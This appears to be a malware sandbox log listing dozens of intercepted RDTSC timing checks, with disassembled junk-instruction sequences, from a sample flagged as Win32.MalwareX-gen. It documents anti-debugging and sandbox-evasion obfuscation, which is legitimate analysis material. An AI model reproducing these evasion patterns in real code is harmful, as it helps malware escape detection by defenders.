Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 77DDEB second address: 77DE00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FAC60C4BF2Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7F8DDD second address: 7F8DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7FD854 second address: 7FD859 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7FC68E second address: 7FC694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7B93AB second address: 7B93AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7B93AF second address: 7B93B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7B93B3 second address: 7B93CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ecx, edi 0x0000000c lea eax, dword ptr [ebp+13C5C119h] 0x00000012 mov di, C9AAh 0x00000016 nop 0x00000017 push ecx 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7B94B0 second address: 7B94B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7B9913 second address: 7B9919 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7B9919 second address: 7B991D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7B9A59 second address: 7B9A5E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7B9F0C second address: 7B9F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7B9F12 second address: 7B9F17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7B9F17 second address: 7B9F7E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007FAC6125CCA8h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 mov edx, 4EAEC069h 0x0000002a push 00000004h 0x0000002c push 00000000h 0x0000002e push ebx 0x0000002f call 00007FAC6125CCA8h 0x00000034 pop ebx 0x00000035 mov dword ptr [esp+04h], ebx 0x00000039 add dword ptr [esp+04h], 0000001Dh 0x00000041 inc ebx 0x00000042 push ebx 0x00000043 ret 0x00000044 pop ebx 0x00000045 ret 0x00000046 mov edx, 6070B30Eh 0x0000004b mov ecx, dword ptr [ebp+13AB2CA7h] 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push edi 0x00000055 pushad 0x00000056 popad 0x00000057 pop edi 0x00000058 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7BA300 second address: 7BA306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7BA668 second address: 7BA66C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7BA66C second address: 7BA6BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FAC60C4BF28h 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007FAC60C4BF28h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a jmp 00007FAC60C4BF2Eh 0x0000002f lea eax, dword ptr [ebp+13C5C15Dh] 0x00000035 cmc 0x00000036 nop 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7BA6BB second address: 7BA706 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edi 0x0000000a popad 0x0000000b push eax 0x0000000c jg 00007FAC6125CCAAh 0x00000012 nop 0x00000013 mov ecx, 4F50B285h 0x00000018 lea eax, dword ptr [ebp+13C5C119h] 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007FAC6125CCA8h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 00000015h 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 xor dl, 00000001h 0x0000003b mov dh, bl 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push ebx 0x00000043 pop ebx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7BA706 second address: 7BA70C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7BA70C second address: 7A1201 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAC6125CCA8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FAC6125CCA8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 jmp 00007FAC6125CCADh 0x0000002c call dword ptr [ebp+13AB23E1h] 0x00000032 jmp 00007FAC6125CCB2h 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7FC909 second address: 7FC913 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAC60C4BF26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7FC913 second address: 7FC943 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 pop ebx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAC6125CCB8h 0x00000011 jnl 00007FAC6125CCACh 0x00000017 jno 00007FAC6125CCA6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7FCA9A second address: 7FCAA9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAC60C4BF26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7FCAA9 second address: 7FCAC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC6125CCB5h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7FCC3B second address: 7FCC45 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAC60C4BF26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7FD3B0 second address: 7FD3B6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7FD3B6 second address: 7FD3BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7FD3BF second address: 7FD3E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push esi 0x00000007 jo 00007FAC6125CCB8h 0x0000000d jmp 00007FAC6125CCB2h 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007FAC6125CCA6h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7FEEA7 second address: 7FEEBC instructions: 0x00000000 rdtsc 0x00000002 je 00007FAC60C4BF26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jl 00007FAC60C4BF26h 0x00000011 push esi 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 808D3C second address: 808D40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 808698 second address: 8086A4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FAC60C4BF2Eh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8086A4 second address: 8086B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jno 00007FAC6125CCA6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 80B007 second address: 80B00F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 80B00F second address: 80B015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 80B015 second address: 80B01B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 80B01B second address: 80B028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007FAC6125CCA6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 80AC19 second address: 80AC1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 80AC1F second address: 80AC33 instructions: 0x00000000 rdtsc 0x00000002 je 00007FAC6125CCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ecx 0x0000000c je 00007FAC6125CCACh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 80AD71 second address: 80AD77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 810018 second address: 810037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FAC6125CCB6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 810037 second address: 81003B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 81003B second address: 810041 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 81039D second address: 8103A7 instructions: 0x00000000 rdtsc 0x00000002 js 00007FAC60C4BF2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 810670 second address: 810676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 810676 second address: 81067B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8114DD second address: 8114E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FAC6125CCA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8114E9 second address: 8114ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8114ED second address: 811521 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007FAC6125CCABh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FAC6125CCB9h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 811521 second address: 811525 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 811525 second address: 811531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FAC6125CCA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8154EF second address: 8154F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8154F9 second address: 8154FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8154FF second address: 815504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 814835 second address: 814841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FAC6125CCA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 814841 second address: 81485B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FAC60C4BF30h 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 814B04 second address: 814B0E instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAC6125CCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 814DEE second address: 814DFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 815083 second address: 8150A8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAC6125CCA6h 0x00000008 jmp 00007FAC6125CCB5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8150A8 second address: 8150AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8189D9 second address: 8189E3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FAC6125CCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8189E3 second address: 8189EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8189EB second address: 8189EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 818B61 second address: 818B86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 819029 second address: 819042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAC6125CCB1h 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 820600 second address: 820626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 je 00007FAC60C4BF26h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 jmp 00007FAC60C4BF32h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 820626 second address: 820632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FAC6125CCA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 81E5F8 second address: 81E630 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF38h 0x00000007 jmp 00007FAC60C4BF36h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 81E630 second address: 81E634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 81E634 second address: 81E652 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FAC60C4BF26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FAC60C4BF32h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 81E925 second address: 81E946 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAC6125CCADh 0x00000008 jbe 00007FAC6125CCA6h 0x0000000e js 00007FAC6125CCA6h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 81E946 second address: 81E961 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF37h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 81EEA2 second address: 81EEA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 81EEA6 second address: 81EEAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 81EEAA second address: 81EEB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 81EEB9 second address: 81EED3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FAC60C4BF26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007FAC60C4BF2Eh 0x00000012 pushad 0x00000013 popad 0x00000014 jg 00007FAC60C4BF26h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 81EED3 second address: 81EEDE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jno 00007FAC6125CCA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 81FFCC second address: 81FFD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 81FFD2 second address: 81FFD8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
